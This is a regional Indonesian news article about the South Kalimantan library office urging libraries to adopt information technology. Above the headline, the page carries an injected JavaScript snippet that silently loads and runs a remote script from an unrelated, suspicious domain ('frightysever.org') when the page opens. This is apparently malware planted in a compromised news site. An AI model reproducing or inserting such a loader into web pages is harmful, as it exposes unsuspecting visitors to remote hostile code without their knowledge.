(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Jangan Lagi Model Konvensional, Perpustakaan Harus Berbasis Teknologi Informasi

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Kalimantan Selatan (Kalsel) berupaya mendorong pengembangan perpustakaan di daerah agar tidak tertinggal jauh dengan perkembangan teknologi yang semakin pesat.

“Kita harus menyesuaikan kondisi perpustakaan di daerah dengan kondisi sekarang, dimana teknologi informasi berkembang cepat. Jadi perpustakaan tidak bisa lagi seperti model konvensional, sekarang kita harus lengkapi perpustakaan berbasis teknologi,” kata Kepala Bidang Pelayanan dan Pembinaan Perpustakaan Dispersip Kalsel, Wildan Akhyar, saat Workshop Perpustakaan Berbasis Informasi, di Banjarmasin, pada Kamis (31/3/2022).

Wildan menunjukkan sejumlah inovasi perpustakaan berbasis teknologi, baik di tingkat provinsi maupun kabupaten/kota, seperti i-Kalsel yang dikembangkan oleh Dispersip Kalsel, dan i-HSS yang dikembangkan oleh Dispersip Kabupaten Hulu Sungai Selatan (HSS).

“Alhamdulillah selain HSS beberapa kabupaten/kota juga sudah ada yang memulai inovasi seperti itu. Kita juga terus mengeksplor perpustakaan di daerah agar perkembangannya bisa mengikuti kemajuan teknologi dan tidak konvensional,” kata Wildan. (Kanalkalimantan.com/rls)

Reporter : rls
Editor : kk